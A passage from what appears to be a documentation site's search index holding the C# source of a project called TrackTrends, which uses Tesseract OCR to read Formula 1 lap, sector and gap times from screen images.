exists\" ); } } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } } }","title":"Settings.cs"},{"location":"Code/Window.html","text":"Window.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.IO ; using Tesseract ; using System.Text.RegularExpressions ; using System.Drawing.Drawing2D ; namespace TrackTrends { public class Window { public const string STRING_DEBUG_FOLDER = \"./GetString\" ; public const string LAPTIME_DEBUG_FOLDER = \"./LapTime\" ; public const string GAPTOLEADER_DEBUG_FOLDER = \"./Gap\" ; public const string SECTOR1_DEBUG_FOLDER = \"./Sector1\" ; public const string SECTOR2_DEBUG_FOLDER = \"./Sector2\" ; public const string SECTOR3_DEBUG_FOLDER = \"./Sector3\" ; public const string DRS_DEBUG_FOLDER = \"./DRS\" ; public const string TYRE_DEBUG_FOLDER = \"./Tyre\" ; private Rectangle _bounds ; private Bitmap _image ; private string _name ; protected TesseractEngine Engine ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap Image { get => _image ; set => _image = value ; } public string Name { get => _name ; protected set => _name = value ; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo ( @\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\" ); //Debug public static Random rnd = new Random (); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } /// /// Creates a new Window /// /// The image of the parent zone /// The position and size of the window /// Does the window need to generate a tesseract engine (takes time and ressources) public Window ( Bitmap image , Rectangle bounds , bool generateEngine = true ) { Image = image ; Bounds = bounds ; if ( generateEngine ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } //DEBUG /* if (!Directory.Exists(STRING_DEBUG_FOLDER)) Directory.CreateDirectory(STRING_DEBUG_FOLDER); if (!Directory.Exists(LAPTIME_DEBUG_FOLDER)) Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER); if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER)) Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER); if (!Directory.Exists(SECTOR1_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER); if (!Directory.Exists(SECTOR2_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER); if (!Directory.Exists(SECTOR3_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER); if (!Directory.Exists(DRS_DEBUG_FOLDER)) Directory.CreateDirectory(DRS_DEBUG_FOLDER); if (!Directory.Exists(TYRE_DEBUG_FOLDER)) Directory.CreateDirectory(TYRE_DEBUG_FOLDER); */ } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng () { return \"NaN\" ; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng ( List < string > driverList ) { return \"NaN\" ; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte [] ImageToByte ( Image inputImage ) { using ( var stream = new MemoryStream ()) { inputImage . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static int GetTimeFromPng ( Bitmap image , OcrImage . WindowType windowType , TesseractEngine Engine ) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\" ; int result = 0 ; //Debug int salt = rnd . Next ( 0 , 999999 ); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.\" ); break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.:\" ); break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.+\" ); break ; default : Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); break ; } Bitmap enhancedImage = new OcrImage ( image ). Enhance ( windowType ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( enhancedImage )); Page page = Engine . Process ( tessImage ); Graphics g = Graphics . FromImage ( enhancedImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Get the text for the current element try { rawResult += iter . GetText ( PageIteratorLevel . Word ); } catch { //nothing we just dont add it if its not a number } } while ( iter . Next ( PageIteratorLevel . Word )); } List < string > rawNumbers ; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if ( windowType == OcrImage . WindowType . Gap ) rawResult = Regex . Replace ( rawResult , \"[^0-9.:]\" , \"\" ); //Splits into minuts seconds miliseconds rawNumbers = rawResult . Split ( '.' , ':' ). ToList < string >(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers . RemoveAll ( x => (( string ) x ) == \"\" ); int minuts = 0 ; int seconds = 0 ; int miliseconds = 0 ; switch ( windowType ) { case OcrImage . WindowType . Sector : //Usually there is supposed to be only 2 parts. if ( rawNumbers . Count == 2 ) { //The perect case try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers . Count == 1 ) { //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood as a number try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { Console . WriteLine ( \"Sector time convertion failed\" ); } } } else { //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong Console . WriteLine ( \"Sector time convertion failed\" ); } } result = 0 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . LapTime : if ( rawNumbers . Count == 3 ) { //The normal way try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers . Count == 2 ) { //Either the ':' or the '.' has been missinterpreted if ( rawNumbers [ 0 ]. Length > rawNumbers [ 1 ]. Length ) { //The ':' has been missinterpreted if ( rawNumbers [ 0 ]. Length == 3 ) { //It has been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 4 ) { //I has been translated into an other number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE) Console . WriteLine ( \"Lap time convertion failed\" ); } } } else { //The '.' has been missinterpreted if ( rawNumbers [ 1 ]. Length == 5 ) { //It has been forgotten minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 2 ]. ToString () + rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString ()); } else { if ( rawNumbers [ 1 ]. Length == 6 ) { try { //It has been interpreted as a number minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString () + rawNumbers [ 1 ][ 5 ]. ToString ()); } catch { //It can happen and to be honest I dont know how to fix it } } else { Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { if ( rawNumbers . Count == 1 ) { //Both the '.' and the ':' have been missinterpreted if ( rawNumbers [ 0 ]. Length == 6 ) { //The just all have been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 7 ) { //The '.' or ':' have been interpreted as a number (usually the ':') try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 8 ) { //Both have been interpreted as a number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString () + rawNumbers [ 0 ][ 7 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . Gap : if ( rawNumbers . Count == 2 ) { // This should be the x.xxx or a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length > 2 ) { //Its a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length == 3 ) { //It forgot the \":\" try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { //The \":\" has been mistaken as a number if ( rawNumbers [ 0 ]. Length == 4 ) { try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { //It should be a normal x.xxx or xx.xxx try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { if ( rawNumbers . Count == 1 ) { //can be anything depending on the size of the string if ( rawNumbers [ 0 ]. Length == 4 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers . Count == 3 ) { // This should be the x:xx.xxx try { //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number if ( rawNumbers [ 0 ]. Length > 1 ) rawNumbers [ 0 ] = rawNumbers [ 0 ][ rawNumbers [ 0 ]. Length - 1 ]. ToString (); minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; default : try { result = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); } catch { result = 0 ; } break ; } page . Dispose (); return result ; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static string GetStringFromPng ( Bitmap image , TesseractEngine Engine , string allowedChars = \"\" , OcrImage . WindowType windowType = OcrImage . WindowType . Text ) { string result = \"\" ; //Debug int salt = rnd . Next ( 0 , 999999 ); Engine . SetVariable ( \"tessedit_char_whitelist\" , allowedChars ); Bitmap rawData = image ; Bitmap enhancedImage = new OcrImage ( rawData ). Enhance ( windowType ); Page page = Engine . Process ( enhancedImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { result += iter . GetText ( PageIteratorLevel . Word ); } while ( iter . Next ( PageIteratorLevel . Word )); } page . Dispose (); return result ; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne ( Bitmap inputBitmap , Rectangle newBitmapDimensions ) { Bitmap sample = new Bitmap ( newBitmapDimensions . Width , newBitmapDimensions . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), newBitmapDimensions , GraphicsUnit . Pixel ); return sample ; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch ( List < string > options , string testString ) { var closestMatch = \"\" ; var closestDistance = int . MaxValue ; foreach ( var item in options ) { var distance = LevenshteinDistance ( item , testString ); if ( distance < closestDistance ) { closestMatch = item ; closestDistance = distance ; } } return closestMatch ; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance ( string string1 , string string2 ) { if ( string . IsNullOrEmpty ( string1 )) { return string . IsNullOrEmpty ( string2 ) ? 0 : string2 . Length ; } if ( string . IsNullOrEmpty ( string2 )) { return string . IsNullOrEmpty ( string1 ) ? 0 : string1 . Length ; } var d = new int [ string1 . Length + 1 , string2 . Length + 1 ]; for ( var i = 0 ; i <= string1 . Length ; i ++) { d [ i , 0 ] = i ; } for ( var j = 0 ; j <= string2 . Length ; j ++) { d [ 0 , j ] = j ; } for ( var i = 1 ; i <= string1 . Length ; i ++) { for ( var j = 1 ; j <= string2 . Length ; j ++) { var cost = ( string1 [ i - 1 ] == string2 [ j - 1 ]) ? 0 : 1 ; d [ i , j ] = Math . Min ( Math . Min ( d [ i - 1 , j ] + 1 , d [ i , j - 1 ] + 1 ), d [ i - 1 , j - 1 ] + cost ); } } return d [ string1 . Length , string2 . Length ]; } } }","title":"Window.cs"},{"location":"Code/Window.html#windowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.IO ; using Tesseract ; using System.Text.RegularExpressions ; using System.Drawing.Drawing2D ; namespace TrackTrends { public class Window { public const string STRING_DEBUG_FOLDER = \"./GetString\" ; public const string LAPTIME_DEBUG_FOLDER = \"./LapTime\" ; public const string GAPTOLEADER_DEBUG_FOLDER = \"./Gap\" ; public const string SECTOR1_DEBUG_FOLDER = \"./Sector1\" ; public const string SECTOR2_DEBUG_FOLDER = \"./Sector2\" ; public const string SECTOR3_DEBUG_FOLDER = \"./Sector3\" ; public const string DRS_DEBUG_FOLDER = \"./DRS\" ; public const string TYRE_DEBUG_FOLDER = \"./Tyre\" ; private Rectangle _bounds ; private Bitmap _image ; private string _name ; protected TesseractEngine Engine ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap Image { get => _image ; set => _image = value ; } public string Name { get => _name ; protected set => _name = value ; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo ( @\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\" ); //Debug public static Random rnd = new Random (); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } /// /// Creates a new Window /// /// The image of the parent zone /// The position and size of the window /// Does the window need to generate a tesseract engine (takes time and ressources) public Window ( Bitmap image , Rectangle bounds , bool generateEngine = true ) { Image = image ; Bounds = bounds ; if ( generateEngine ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } //DEBUG /* if (!Directory.Exists(STRING_DEBUG_FOLDER)) Directory.CreateDirectory(STRING_DEBUG_FOLDER); if (!Directory.Exists(LAPTIME_DEBUG_FOLDER)) Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER); if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER)) Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER); if (!Directory.Exists(SECTOR1_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER); if (!Directory.Exists(SECTOR2_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER); if (!Directory.Exists(SECTOR3_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER); if (!Directory.Exists(DRS_DEBUG_FOLDER)) Directory.CreateDirectory(DRS_DEBUG_FOLDER); if (!Directory.Exists(TYRE_DEBUG_FOLDER)) Directory.CreateDirectory(TYRE_DEBUG_FOLDER); */ } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng () { return \"NaN\" ; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng ( List < string > driverList ) { return \"NaN\" ; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte [] ImageToByte ( Image inputImage ) { using ( var stream = new MemoryStream ()) { inputImage . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static int GetTimeFromPng ( Bitmap image , OcrImage . WindowType windowType , TesseractEngine Engine ) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\" ; int result = 0 ; //Debug int salt = rnd . Next ( 0 , 999999 ); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.\" ); break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.:\" ); break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.+\" ); break ; default : Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); break ; } Bitmap enhancedImage = new OcrImage ( image ). Enhance ( windowType ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( enhancedImage )); Page page = Engine . Process ( tessImage ); Graphics g = Graphics . FromImage ( enhancedImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Get the text for the current element try { rawResult += iter . GetText ( PageIteratorLevel . Word ); } catch { //nothing we just dont add it if its not a number } } while ( iter . Next ( PageIteratorLevel . Word )); } List < string > rawNumbers ; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if ( windowType == OcrImage . WindowType . Gap ) rawResult = Regex . Replace ( rawResult , \"[^0-9.:]\" , \"\" ); //Splits into minuts seconds miliseconds rawNumbers = rawResult . Split ( '.' , ':' ). ToList < string >(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers . RemoveAll ( x => (( string ) x ) == \"\" ); int minuts = 0 ; int seconds = 0 ; int miliseconds = 0 ; switch ( windowType ) { case OcrImage . WindowType . Sector : //Usually there is supposed to be only 2 parts. if ( rawNumbers . Count == 2 ) { //The perect case try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers . Count == 1 ) { //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood as a number try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { Console . WriteLine ( \"Sector time convertion failed\" ); } } } else { //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong Console . WriteLine ( \"Sector time convertion failed\" ); } } result = 0 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . LapTime : if ( rawNumbers . Count == 3 ) { //The normal way try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers . Count == 2 ) { //Either the ':' or the '.' has been missinterpreted if ( rawNumbers [ 0 ]. Length > rawNumbers [ 1 ]. Length ) { //The ':' has been missinterpreted if ( rawNumbers [ 0 ]. Length == 3 ) { //It has been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 4 ) { //I has been translated into an other number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE) Console . WriteLine ( \"Lap time convertion failed\" ); } } } else { //The '.' has been missinterpreted if ( rawNumbers [ 1 ]. Length == 5 ) { //It has been forgotten minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 2 ]. ToString () + rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString ()); } else { if ( rawNumbers [ 1 ]. Length == 6 ) { try { //It has been interpreted as a number minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString () + rawNumbers [ 1 ][ 5 ]. ToString ()); } catch { //It can happen and to be honest I dont know how to fix it } } else { Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { if ( rawNumbers . Count == 1 ) { //Both the '.' and the ':' have been missinterpreted if ( rawNumbers [ 0 ]. Length == 6 ) { //The just all have been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 7 ) { //The '.' or ':' have been interpreted as a number (usually the ':') try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 8 ) { //Both have been interpreted as a number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 